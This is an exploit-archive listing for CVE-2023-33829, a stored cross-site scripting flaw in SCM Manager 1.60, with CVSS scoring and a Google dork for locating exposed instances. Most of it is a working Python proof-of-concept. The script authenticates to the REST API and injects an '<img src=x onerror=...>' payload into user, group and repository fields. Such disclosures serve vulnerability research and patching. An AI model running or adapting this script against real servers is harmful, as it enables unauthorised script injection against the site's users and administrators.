Lucene search

K
zdtNeg0x1337DAY-ID-38737
HistoryMay 26, 2023 - 12:00 a.m.

SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated) Exploit

2023-05-2600:00:00
neg0x
0day.today
325
cross-site scripting
stored
authenticated
exploit
cve-2023-33829
scm manager
vulnerability
authentication
user
group
repository
debian
python3
requests module

CVSS3

5.4

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

EPSS

0.002

Percentile

51.3%

#!/usr/bin/python3

# Exploit Title: SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated)
# Google Dork: intitle:"SCM Manager" intext:1.60
# Date: 05-25-2023
# Exploit Author: neg0x (https://github.com/n3gox/CVE-2023-33829)
# Vendor Homepage: https://scm-manager.org/
# Software Link: https://scm-manager.org/docs/1.x/en/getting-started/
# Version: 1.2 <= 1.60
# Tested on: Debian based
# CVE: CVE-2023-33829

# Modules
import requests
import argparse
import sys

# Main menu
parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')
parser.add_argument("-u", "--user", help="Admin user or user with write permissions")
parser.add_argument("-p", "--password", help="password of the user")
args = parser.parse_args()


# Credentials
user = sys.argv[2]
password = sys.argv[4]


# Global Variables
main_url = "http://localhost:8080/scm" # Change URL if its necessary
auth_url = main_url + "/api/rest/authentication/login.json"
users = main_url + "/api/rest/users.json"
groups = main_url + "/api/rest/groups.json"
repos = main_url + "/api/rest/repositories.json"

# Create a session
session = requests.Session()

# Credentials to send
post_data={
	'username': user, # change if you have any other user with write permissions
	'password': password # change if you have any other user with write permissions
}

r = session.post(auth_url, data=post_data)

if r.status_code == 200:
	print("[+] Authentication successfully")
else:
	print("[-] Failed to authenticate")
	sys.exit(1)

new_user={

	"name": "newUser",
	"displayName": "<img src=x onerror=alert('XSS')>",
	"mail": "",
	"password": "",
	"admin": False,
	"active": True,
	"type": "xml"

}

create_user = session.post(users, json=new_user)
print("[+] User with XSS Payload created")

new_group={

	"name": "newGroup",
	"description": "<img src=x onerror=alert('XSS')>",
	"type": "xml"

}

create_group = session.post(groups, json=new_group)
print("[+] Group with XSS Payload created")

new_repo={

	"name": "newRepo",
	"type": "svn",
	"contact": "",
	"description": "<img src=x onerror=alert('XSS')>",
	"public": False

}

create_repo = session.post(repos, json=new_repo)
print("[+] Repository with XSS Payload created")

CVSS3

5.4

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

EPSS

0.002

Percentile

51.3%